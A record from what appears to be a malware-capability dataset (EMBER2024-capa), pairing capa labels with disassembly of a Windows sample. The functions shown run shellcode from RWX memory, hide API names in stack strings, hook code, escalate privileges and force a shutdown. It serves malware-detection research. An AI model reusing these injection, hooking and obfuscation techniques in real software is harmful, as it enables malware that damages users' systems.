joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4017a0
Capabilities:
Allocate or change rwx memory
Contain obfuscated stackstrings
Create thread
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov eax, dword [0x520628]
xor eax, ebp
mov dword [ebp - 4], eax
push edi
mov edi, ecx
test edi, edi
je 0x401914
push ebx
push esi
push 0x40
push 0x3000
push 0x18
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov esi, eax
mov al, 0x74
mov cl, 0x43
mov byte [ebp - 0x17], al
mov byte [ebp - 0x37], al
mov byte [ebp - 0x30], al
mov bl, 0x6c
lea eax, [ebp - 0x38]
mov byte [ebp - 0x35], cl
mov byte [ebp - 0x2e], cl
push eax
lea ecx, [ebp - 0x18]
push ecx
mov byte [ebp - 0x18], 0x6e
mov byte [ebp - 0x16], 0x64
mov byte [ebp - 0x15], bl
mov byte [ebp - 0x14], bl
mov byte [ebp - 0x13], 0x2e
mov byte [ebp - 0x12], 0x64
mov byte [ebp - 0x11], bl
mov byte [ebp - 0x10], bl
mov byte [ebp - 0xf], 0
mov byte [ebp - 0x38], 0x52
mov byte [ebp - 0x36], bl
mov byte [ebp - 0x34], 0x6f
mov byte [ebp - 0x33], 0x6d
mov byte [ebp - 0x32], 0x70
mov byte [ebp - 0x31], 0x75
mov byte [ebp - 0x2f], 0x65
mov byte [ebp - 0x2d], 0x72
mov byte [ebp - 0x2c], 0x63
mov byte [ebp - 0x2b], 0x33
mov byte [ebp - 0x2a], 0x32
mov byte [ebp - 0x29], 0
call fcn.00486d10
mov dword [esi], eax
lea edx, [ebp - 0xc]
push edx
lea eax, [ebp - 0x28]
push eax
mov byte [ebp - 0x28], 0x6b
mov byte [ebp - 0x27], 0x65
mov byte [ebp - 0x26], 0x72
mov byte [ebp - 0x25], 0x6e
mov byte [ebp - 0x24], 0x65
mov byte [ebp - 0x23], bl
mov byte [ebp - 0x22], 0x33
mov byte [ebp - 0x21], 0x32
mov byte [ebp - 0x20], 0x2e
mov byte [ebp - 0x1f], 0x64
mov byte [ebp - 0x1e], bl
mov byte [ebp - 0x1d], bl
mov byte [ebp - 0x1c], 0
mov byte [ebp - 0xc], 0x53
mov byte [ebp - 0xb], bl
mov byte [ebp - 0xa], 0x65
mov byte [ebp - 9], 0x65
mov byte [ebp - 8], 0x70
mov byte [ebp - 7], 0
call fcn.00486d10
mov ecx, dword [ebp + 8]
mov edx, dword [ebp + 0xc]
mov dword [esi + 4], eax
mov eax, 0x401250
mov dword [esi + 0xc], edi
mov dword [esi + 0x10], ecx
mov dword [esi + 0x14], edx
mov dword [esi + 8], 0x401620
xor ebx, ebx
cmp dword [eax], 0xaaaaaaaa
je 0x4018da
mov eax, 0x401250
lea esp, [esp]
inc eax
inc ebx
cmp dword [eax], 0xaaaaaaaa
jne 0x4018d0
push 0x40
push 0x3000
push ebx
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
push ebx
mov edi, eax
push 0x401250
push edi
call fcn.004760f0
add esp, 0xc
push 0
push 0
push esi
push edi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop edi
call fcn.0046e186
mov esp, ebp
pop ebp
ret
Function at 0x401bc0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov eax, dword [0x520628]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov cl, 0x64
mov al, 0x6c
push esi
mov byte [ebp - 0xe], cl
mov byte [ebp - 0xa], cl
mov byte [ebp - 0x23], cl
mov cl, 0x69
push edi
mov byte [ebp - 0xd], al
mov byte [ebp - 0xc], al
mov byte [ebp - 9], al
mov byte [ebp - 8], al
mov byte [ebp - 0x1b], al
lea eax, [ebp - 0x24]
mov dl, 0x6e
mov byte [ebp - 0x1f], cl
mov byte [ebp - 0x1d], cl
mov byte [ebp - 0x1a], cl
push eax
lea ecx, [ebp - 0x10]
mov bl, 0x74
push ecx
mov byte [ebp - 0x10], dl
mov byte [ebp - 0xf], bl
mov byte [ebp - 0xb], 0x2e
mov byte [ebp - 7], 0
mov byte [ebp - 0x24], 0x4c
mov byte [ebp - 0x22], 0x72
mov byte [ebp - 0x21], 0x49
mov byte [ebp - 0x20], dl
mov byte [ebp - 0x1e], bl
mov byte [ebp - 0x1c], 0x61
mov byte [ebp - 0x19], 0x7a
mov byte [ebp - 0x18], 0x65
mov byte [ebp - 0x17], 0x54
mov byte [ebp - 0x16], 0x68
mov byte [ebp - 0x15], 0x75
mov byte [ebp - 0x14], dl
mov byte [ebp - 0x13], 0x6b
mov byte [ebp - 0x12], 0
call fcn.00486d10
mov ebx, eax
xor esi, esi
lea edi, [esi + ebx]
push edi
lea edx, [ebp - 0x28]
mov dword [ebp - 0x28], 0
call fcn.00405c20
mov edx, dword [ebp - 0x28]
mov cl, byte [edx]
cmp cl, 0xe8
je 0x401c91
cmp cl, 0xe9
je 0x401c91
add esi, eax
cmp esi, 0x1000
jb 0x401c52
pop edi
pop esi
xor eax, eax
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0046e186
mov esp, ebp
pop ebp
ret
mov eax, dword [edi + 1]
mov ecx, dword [ebp - 4]
lea eax, [eax + edi + 5]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0046e186
mov esp, ebp
pop ebp
ret
Function at 0x402040
Capabilities:
Contain obfuscated stackstrings
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
mov eax, dword [0x520628]
xor eax, ebp
mov dword [ebp - 4], eax
mov al, 0x65
mov byte [ebp - 0x13], al
mov byte [ebp - 0x10], al
mov al, 0x6c
push ebx
mov byte [ebp - 0xf], al
mov byte [ebp - 0xa], al
mov byte [ebp - 9], al
lea eax, [ebp - 0x34]
mov bl, 0x72
push eax
lea ecx, [ebp - 0x14]
push ecx
mov byte [ebp - 0x14], 0x6b
mov byte [ebp - 0x12], bl
mov byte [ebp - 0x11], 0x6e
mov byte [ebp - 0xe], 0x33
mov byte [ebp - 0xd], 0x32
mov byte [ebp - 0xc], 0x2e
mov byte [ebp - 0xb], 0x64
mov byte [ebp - 8], 0
mov byte [ebp - 0x34], 0x4c
mov byte [ebp - 0x33], 0x6f
mov byte [ebp - 0x32], 0x61
mov byte [ebp - 0x31], 0x64
mov byte [ebp - 0x30], 0x4c
mov byte [ebp - 0x2f], 0x69
mov byte [ebp - 0x2e], 0x62
mov byte [ebp - 0x2d], bl
mov byte [ebp - 0x2c], 0x61
mov byte [ebp - 0x2b], bl
mov byte [ebp - 0x2a], 0x79
mov byte [ebp - 0x29], 0x41
mov byte [ebp - 0x28], 0
call fcn.00486d10
lea edx, [ebp - 0x24]
mov dword [0x52a86c], eax
push edx
lea eax, [ebp - 0x14]
push eax
mov byte [ebp - 0x24], 0x4c
mov byte [ebp - 0x23], 0x6f
mov byte [ebp - 0x22], 0x61
mov byte [ebp - 0x21], 0x64
mov byte [ebp - 0x20], 0x4c
mov byte [ebp - 0x1f], 0x69
mov byte [ebp - 0x1e], 0x62
mov byte [ebp - 0x1d], bl
mov byte [ebp - 0x1c], 0x61
mov byte [ebp - 0x1b], bl
mov byte [ebp - 0x1a], 0x79
mov byte [ebp - 0x19], 0x57
mov byte [ebp - 0x18], 0
call fcn.00486d10
lea ecx, [ebp - 0x44]
push ecx
lea edx, [ebp - 0x14]
push edx
mov dword [0x52a870], eax
mov byte [ebp - 0x44], 0x4c
mov byte [ebp - 0x43], 0x6f
mov byte [ebp - 0x42], 0x61
mov byte [ebp - 0x41], 0x64
mov byte [ebp - 0x40], 0x4c
mov byte [ebp - 0x3f], 0x69
mov byte [ebp - 0x3e], 0x62
mov byte [ebp - 0x3d], bl
mov byte [ebp - 0x3c], 0x61
mov byte [ebp - 0x3b], bl
mov byte [ebp - 0x3a], 0x79
mov byte [ebp - 0x39], 0x45
mov byte [ebp - 0x38], 0x78
mov byte [ebp - 0x37], 0x41
mov byte [ebp - 0x36], 0
call fcn.00486d10
mov dword [0x52a874], eax
mov byte [ebp - 0x54], 0x4c
mov byte [ebp - 0x53], 0x6f
mov byte [ebp - 0x52], 0x61
mov byte [ebp - 0x51], 0x64
mov byte [ebp - 0x50], 0x4c
lea eax, [ebp - 0x54]
push eax
lea ecx, [ebp - 0x14]
push ecx
mov byte [ebp - 0x4f], 0x69
mov byte [ebp - 0x4e], 0x62
mov byte [ebp - 0x4d], bl
mov byte [ebp - 0x4c], 0x61
mov byte [ebp - 0x4b], bl
mov byte [ebp - 0x4a], 0x79
mov byte [ebp - 0x49], 0x45
mov byte [ebp - 0x48], 0x78
mov byte [ebp - 0x47], 0x57
mov byte [ebp - 0x46], 0
call fcn.00486d10
push 0
push 0
push 0
push 0x401df0
push 0
push 0
mov dword [0x52a878], eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop ebx
call fcn.0046e186
mov esp, ebp
pop ebp
ret
Function at 0x403120
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov eax, dword [0x520628]
xor eax, ebp
mov dword [ebp - 4], eax
cmp byte [0x52a888], 0
jne 0x4031e4
cmp byte [0x52a889], 0
mov al, 1
mov byte [0x52a888], al
jne 0x40315d
push 0x52a4e0
mov byte [0x52a889], al
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
call fcn.004027e0
call fcn.00403200
mov dword [0x52a884], eax
mov al, 0x73
mov cl, 0x65
mov byte [ebp - 0x1f], al
mov byte [ebp - 0x14], al
mov byte [ebp - 0x13], al
lea eax, [ebp - 0x20]
mov byte [ebp - 0xf], cl
mov byte [ebp - 0xc], cl
mov byte [ebp - 0x15], cl
mov dl, 0x6f
push eax
lea ecx, [ebp - 0x10]
push ecx
mov byte [ebp - 0x10], 0x6b
mov byte [ebp - 0xe], 0x72
mov byte [ebp - 0xd], 0x6e
mov byte [ebp - 0xb], 0x6c
mov byte [ebp - 0xa], 0x33
mov byte [ebp - 9], 0x32
mov byte [ebp - 8], 0
mov byte [ebp - 0x20], 0x49
mov byte [ebp - 0x1e], 0x57
mov byte [ebp - 0x1d], dl
mov byte [ebp - 0x1c], 0x77
mov byte [ebp - 0x1b], 0x36
mov byte [ebp - 0x1a], 0x34
mov byte [ebp - 0x19], 0x50
mov byte [ebp - 0x18], 0x72
mov byte [ebp - 0x17], dl
mov byte [ebp - 0x16], 0x63
mov byte [ebp - 0x12], 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x52a880], eax
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0046e186
mov esp, ebp
pop ebp
ret

Function at 0x403200
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
mov eax, dword [0x520628]
xor eax, ebp
mov dword [ebp - 4], eax
mov al, 0x65
mov cl, 0x74
mov byte [ebp - 0xf], al
mov byte [ebp - 0xc], al
mov byte [ebp - 0x23], al
mov byte [ebp - 0x1c], al
mov byte [ebp - 0x17], al
lea eax, [ebp - 0x24]
mov byte [ebp - 0x22], cl
mov byte [ebp - 0x1f], cl
mov byte [ebp - 0x18], cl
mov dl, 0x6e
push eax
lea ecx, [ebp - 0x10]
push ecx
mov byte [ebp - 0x10], 0x6b
mov byte [ebp - 0xe], 0x72
mov byte [ebp - 0xd], dl
mov byte [ebp - 0xb], 0x6c
mov byte [ebp - 0xa], 0x33
mov byte [ebp - 9], 0x32
mov byte [ebp - 8], 0
mov byte [ebp - 0x24], 0x47
mov byte [ebp - 0x21], 0x4e
mov byte [ebp - 0x20], 0x61
mov byte [ebp - 0x1e], 0x69
mov byte [ebp - 0x1d], 0x76
mov byte [ebp - 0x1b], 0x53
mov byte [ebp - 0x1a], 0x79
mov byte [ebp - 0x19], 0x73
mov byte [ebp - 0x16], 0x6d
mov byte [ebp - 0x15], 0x49
mov byte [ebp - 0x14], dl
mov byte [ebp - 0x13], 0x66
mov byte [ebp - 0x12], 0x6f
mov byte [ebp - 0x11], 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x4032e2
xor ecx, ecx
lea edx, [ebp - 0x48]
push edx
mov dword [ebp - 0x48], 0
mov dword [ebp - 0x44], ecx
mov dword [ebp - 0x40], ecx
mov dword [ebp - 0x3c], ecx
mov dword [ebp - 0x38], ecx
mov dword [ebp - 0x34], ecx
mov dword [ebp - 0x30], ecx
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x28], ecx
call eax
mov eax, dword [ebp - 0x48]
cmp ax, 6
je 0x4032cf
cmp ax, 9
jne 0x4032e2
mov eax, 1
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0046e186
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
xor ecx, ebp
xor eax, eax
call fcn.0046e186
mov esp, ebp
pop ebp
ret
Function at 0x403f90
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x90
mov eax, dword [0x520628]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 8]
push esi
mov esi, ecx
xor ecx, ecx
push 0x7e
xor eax, eax
push ecx
lea edx, [ebp - 0x8a]
push edx
mov dword [ebp - 0x90], esi
mov word [ebp - 0xc], ax
mov dword [ebp - 0xa], eax
mov word [ebp - 6], ax
mov word [ebp - 0x8c], cx
call fcn.00473d40
add esp, 0xc
test ebx, ebx
je 0x40409a
test esi, esi
je 0x40409a
push edi
mov edi, 0x41
mov edi, edi
push 0x40
lea ecx, [ebp - 0x8c]
push ecx
lea edx, [ebp - 0xc]
mov eax, 0x3a
push edx
mov word [ebp - 0xc], di
mov word [ebp - 0xa], ax
call dword [sym.imp.KERNEL32.dll_QueryDosDeviceW]
test eax, eax
je 0x404046
lea eax, [ebp - 0x8c]
lea edx, [eax + 2]
lea ecx, [ecx]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x404020
sub eax, edx
sar eax, 1
mov esi, eax
push esi
lea eax, [ebp - 0x8c]
push ebx
push eax
call fcn.0046ebc0
add esp, 0xc
test eax, eax
je 0x404060
inc edi
cmp di, 0x5b
jl 0x403ff0
pop edi
pop esi
xor al, al
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0046e186
mov esp, ebp
pop ebp
ret
mov edi, dword [ebp - 0x90]
lea ecx, [ebp - 0xc]
push ecx
push 0x104
push edi
call fcn.0046ec66
lea edx, [ebx + esi*2]
push edx
push 0x104
push edi
call fcn.0046ecd5
add esp, 0x18
pop edi
pop esi
mov al, 1
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0046e186
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
pop esi
xor ecx, ebp
xor al, al
pop ebx
call fcn.0046e186
mov esp, ebp
pop ebp
ret
Function at 0x404960
Capabilities:
Shutdown system

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x120
mov eax, dword [0x520628]
xor eax, ebp
mov dword [ebp - 4], eax
call fcn.00403120
push pe_nt_image_headers32
lea eax, [ebp - 0x11c]
push 0
push eax
call fcn.00473d40
add esp, 0xc
lea ecx, [ebp - 0x120]
push ecx
mov dword [ebp - 0x120], 0x114
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
test eax, eax
jne 0x4049b7
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0046e186
mov esp, ebp
pop ebp
ret
cmp dword [ebp - 0x110], 2
jne 0x4049c5
call fcn.004047f0
push 0
push 6
call dword [sym.imp.USER32.dll_ExitWindowsEx]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0046e186
mov esp, ebp
pop ebp
ret

Function at 0x4049e0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
mov eax, dword [0x520628]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
call fcn.00403120
mov al, 0x6c
mov byte [ebp - 0xd], al
mov byte [ebp - 0xc], al
mov byte [ebp - 9], al
mov byte [ebp - 8], al
mov al, 0x6f
mov byte [ebp - 0x20], al
mov byte [ebp - 0x1a], al
mov byte [ebp - 0x16], al
mov cl, 0x74
mov al, 0x73
mov byte [ebp - 0x13], al
mov byte [ebp - 0x12], al
lea eax, [ebp - 0x28]
mov dl, 0x6e
mov byte [ebp - 0xf], cl
mov byte [ebp - 0x27], cl
mov byte [ebp - 0x24], cl
mov byte [ebp - 0x1c], cl
push eax
lea ecx, [ebp - 0x10]
push ecx
mov byte [ebp - 0x10], dl
mov byte [ebp - 0xe], 0x64
mov byte [ebp - 0xb], 0x2e
mov byte [ebp - 0xa], 0x64
mov byte [ebp - 7], 0
mov byte [ebp - 0x28], 0x4e
mov byte [ebp - 0x26], 0x53
mov byte [ebp - 0x25], 0x65
mov byte [ebp - 0x23], 0x49
mov byte [ebp - 0x22], dl
mov byte [ebp - 0x21], 0x66
mov byte [ebp - 0x1f], 0x72
mov byte [ebp - 0x1e], 0x6d
mov byte [ebp - 0x1d], 0x61
mov byte [ebp - 0x1b], 0x69
mov byte [ebp - 0x19], dl
mov byte [ebp - 0x18], 0x50
mov byte [ebp - 0x17], 0x72
mov byte [ebp - 0x15], 0x63
mov byte [ebp - 0x14], 0x65
mov byte [ebp - 0x11], 0
call fcn.00486d10
mov esi, eax
test esi, esi
jne 0x404a9c
xor eax, eax
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0046e186
mov esp, ebp
pop ebp
ret
lea edx, [ebp - 0x29]
push edx
push 0
push 1
push 0x14
call sub.ntdll.dll_RtlAdjustPrivilege
test eax, eax
jne 0x404a8b
push 4
lea eax, [ebp + 8]
push eax
push 0x1d
push edi
call esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
mov eax, 1
pop esi
call fcn.0046e186
mov esp, ebp
pop ebp
ret
Function at 0x405980
Capabilities:
Allocate or change rwx memory
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
mov eax, dword [0x520628]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
lea eax, [ebp - 0x29]
push eax
xor edi, edi
push edi
push 1
push 0x14
call sub.ntdll.dll_RtlAdjustPrivilege
mov cl, 0x69
mov dl, 0x74
mov al, 0x6c
mov byte [ebp - 0x27], cl
mov byte [ebp - 0x1c], cl
mov byte [ebp - 0x18], cl
lea ecx, [ebp - 0x28]
mov byte [ebp - 0xb], dl
mov byte [ebp - 0x1d], dl
mov byte [ebp - 0x14], dl
mov byte [ebp - 9], al
mov byte [ebp - 8], al
mov al, 0x65
push ecx
lea edx, [ebp - 0xc]
push edx
mov byte [ebp - 0xc], 0x6e
mov byte [ebp - 0xa], 0x64
mov byte [ebp - 7], 0
mov byte [ebp - 0x28], 0x4b
mov byte [ebp - 0x26], 0x55
mov byte [ebp - 0x25], 0x73
mov byte [ebp - 0x24], al
mov byte [ebp - 0x23], 0x72
mov byte [ebp - 0x22], 0x45
mov byte [ebp - 0x21], 0x78
mov byte [ebp - 0x20], 0x63
mov byte [ebp - 0x1f], al
mov byte [ebp - 0x1e], 0x70
mov byte [ebp - 0x1b], 0x6f
mov byte [ebp - 0x1a], 0x6e
mov byte [ebp - 0x19], 0x44
mov byte [ebp - 0x17], 0x73
mov byte [ebp - 0x16], 0x70
mov byte [ebp - 0x15], 0x61
mov byte [ebp - 0x13], 0x63
mov byte [ebp - 0x12], 0x68
mov byte [ebp - 0x11], al
mov byte [ebp - 0x10], 0x72
mov byte [ebp - 0xf], 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
test esi, esi
je 0x405a8e
mov al, 0x53
lea esp, [esp]
cmp byte [esi], 0xe8
jne 0x405a4a
cmp byte [esi - 1], al
je 0x405a4d
inc esi
jmp 0x405a40
mov eax, dword [esi + 1]
lea edx, [ebp - 0x30]
push edx
push 0x40
push 0x1000
lea ecx, [esi + eax + 5]
push esi
mov dword [0x52a898], ecx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov eax, 0x405930
sub eax, esi
sub eax, 5
mov dword [esi + 1], eax
pop edi
mov eax, 1
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0046e186
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
mov eax, edi
pop edi
xor ecx, ebp
pop esi
call fcn.0046e186
mov esp, ebp
pop ebp
ret
Function at 0x405aa0
Capabilities:
Enumerate threads

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
xor eax, eax
push esi
mov esi, 5
mov dword [ebp - 4], eax
cmp dword [0x52a89c], eax
jne 0x405abb
xor esi, esi
cmp dword [0x52a8a0], eax
jne 0x405ac8
mov esi, 1
cmp dword [0x52a8a4], eax
jne 0x405ad5
mov esi, 2
cmp dword [0x52a8a8], eax
jne 0x405b3e
mov esi, 3
push ebx
mov ebx, dword [ebp + 8]
push edi
mov dword [esi*4 + 0x52a89c], ebx
mov dword [esi*4 + 0x52a8ac], 0x401990
mov dword [esi*4 + 0x52a8bc], eax
cmp ecx, eax
je 0x405b4a
push ecx
push eax
push 0x1fffff
call dword [sym.imp.KERNEL32.dll_OpenThread]
mov edi, eax
test edi, edi
je 0x405c03
push ebx
mov ecx, esi
call fcn.00405880
add esp, 4
push edi
mov dword [ebp - 4], 1
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 4]
pop edi
pop ebx
pop esi
mov esp, ebp
pop ebp
ret
cmp esi, 4
jl 0x405ae2
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret
push eax
push 4
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x10], eax
mov dword [ebp - 0xc], eax
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov edi, eax
xor eax, eax
mov dword [ebp - 8], edi
cmp edi, 0xffffffff
je 0x405c0d
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x10], eax
mov dword [ebp - 0xc], eax
lea eax, [ebp - 0x24]
push eax
push edi
mov dword [ebp - 0x24], 0x1c
call sub.KERNEL32.dll_Thread32First
mov ebx, eax
test ebx, ebx
je 0x405c03
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
cmp dword [ebp - 0x18], eax
jne 0x405bee
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov ecx, dword [ebp - 0x1c]
cmp ecx, eax
je 0x405bee
push ecx
push 0
push 0x1fffff
call dword [sym.imp.KERNEL32.dll_OpenThread]
mov edi, eax
test edi, edi
je 0x405bfc
mov ecx, dword [ebp + 8]
push ecx
mov ecx, esi
call fcn.00405880
add esp, 4
push edi
mov dword [ebp - 4], 1
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edi, dword [ebp - 8]
lea edx, [ebp - 0x24]
push edx
push edi
call sub.KERNEL32.dll_Thread32Next
mov ebx, eax
jmp 0x405bff
mov edi, dword [ebp - 8]
test ebx, ebx
jne 0x405ba3
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 4]
pop edi
pop ebx
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x405dd0
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
push ebx
mov ebx, dword [ebp + 8]
test ebx, ebx
je 0x405e61
mov eax, method.CGdiObject.virtual_8
test eax, eax
je 0x405e61
lea ecx, [ebp + 8]
push ecx
mov eax, ebx
call fcn.00407b10
add esp, 4
test eax, eax
je 0x405e61
push esi
push edi
mov edi, dword [ebp + 8]
push 0x40
push 0x1000
lea edx, [edi + 0xe]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov esi, eax
mov dword [esi], edi
push edi
add esi, 4
lea eax, [esi + 5]
push ebx
push eax
mov dword [ebp + 8], eax
call fcn.004760f0
mov edx, dword [ebp + 8]
mov eax, method.CGdiObject.virtual_8
sub eax, esi
mov ecx, ebx
sub ecx, esi
mov byte [esi], 0xe9
sub eax, 5
mov dword [esi + 1], eax
sub ecx, 0xa
mov byte [esi + edi + 5], 0xe9
mov dword [esi + edi + 6], ecx
mov ecx, dword [ebp + 0xc]
push ebx
mov dword [0x52a87c], edx
call fcn.00405aa0
add esp, 0x10
pop edi
pop esi
pop ebx
pop ebp
ret
xor eax, eax
pop ebx
pop ebp
ret

Function at 0x405f90
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x405fa6
test al, 0x10
je 0x405fa6
mov eax, 1
ret
xor eax, eax
ret

Function at 0x405fb0
Capabilities:
Check if file exists
Create directory
Get file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
mov ebx, dword [ebp + 8]
test ebx, ebx
je 0x405fc3
xor eax, eax
mov word [ebx], ax
push esi
mov byte [ebp - 1], 0
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x405fdb
test al, 0x10
jne 0x406091
mov eax, esi
push edi
xor edi, edi
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x405fe3
sub eax, edx
sar eax, 1
je 0x40606a
movzx eax, word [esi + edi*2]
cmp ax, 0x5c
je 0x406004
cmp ax, 0x2f
jne 0x406051
xor ecx, ecx
push esi
movzx ebx, ax
mov word [esi + edi*2], cx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x40601d
test al, 0x10
jne 0x40604a
push 0
push esi
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
je 0x40604a
mov eax, dword [ebp + 8]
test eax, eax
je 0x40604a
cmp byte [ebp - 1], 0
jne 0x40604a
push esi
push 0x104
push eax
call fcn.0046ec66
add esp, 0xc
mov byte [ebp - 1], 1
mov word [esi + edi*2], bx
mov ebx, dword [ebp + 8]
mov eax, esi
inc edi
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x406057
sub eax, edx
sar eax, 1
cmp edi, eax
jb 0x405ff4
push 0
push esi
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
pop edi
test eax, eax
je 0x406091
test ebx, ebx
je 0x406091
cmp byte [ebp - 1], 0
jne 0x406091
push esi
push 0x104
push ebx
call fcn.0046ec66
add esp, 0xc
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4064f0
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
xor ecx, ecx
cmp eax, 0xffffffff
setne cl
mov al, cl
ret

Function at 0x406510
Capabilities:
Enumerate files on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4e4486
mov eax, dword fs:[0]
push eax
sub esp, 0x274
mov eax, dword [0x520628]
xor eax, ebp
mov dword [ebp - 0x14], eax
push ebx
push esi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov eax, dword [ebp + 8]
mov dword [ebp - 0x278], eax
mov bl, 0x25
mov al, 0x2a
mov byte [ebp - 0x268], bl
mov dl, 0x73
mov byte [ebp - 0x266], al
mov byte [ebp - 0x1c], bl
mov byte [ebp - 0x19], al
mov bl, 0x5c
mov eax, ecx
mov dword [ebp - 0x270], 0
mov byte [ebp - 0x267], dl
mov byte [ebp - 0x265], 0
mov byte [ebp - 0x1b], dl
mov byte [ebp - 0x1a], bl
mov byte [ebp - 0x18], 0
lea esi, [eax + 1]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x406586
sub eax, esi
push ecx
cmp byte [eax + ecx - 1], bl
jne 0x4065ab
lea ecx, [ebp - 0x268]
push ecx
push 0x103
lea edx, [ebp - 0x124]
push edx
jmp 0x4065bb
lea eax, [ebp - 0x1c]
push eax
push 0x103
lea ecx, [ebp - 0x124]
push ecx
call fcn.0046f6ed
xor esi, esi
add esp, 0x10
cmp eax, esi
jl 0x4065d0
cmp eax, 0x103
jne 0x4065d4
mov byte [ebp - 0x21], 0
lea edx, [ebp - 0x264]
push edx
lea eax, [ebp - 0x124]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov dword [ebp - 0x26c], eax
cmp eax, 0xffffffff
je 0x4066f8
mov bl, 1
test byte [ebp - 0x264], 0x10
jne 0x4066cf
test bl, bl
je 0x406630
lea eax, [ebp - 0x238]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x406613
lea ecx, [ebp - 0x238]
push ecx
sub eax, edx
push edi
call fcn.00406d30
xor bl, bl
jmp 0x4066b5
lea edx, [ebp - 0x274]
push edx
call fcn.00406840
lea ecx, [ebp - 0x238]
push ecx
push eax
lea edx, [ebp - 0x27c]
push edx
mov dword [ebp - 4], esi
call fcn.00406920
add esp, 0xc
mov byte [ebp - 4], 1
mov ecx, dword [eax]
mov eax, dword [ecx - 0xc]
push ecx
push edi
call fcn.00406d30
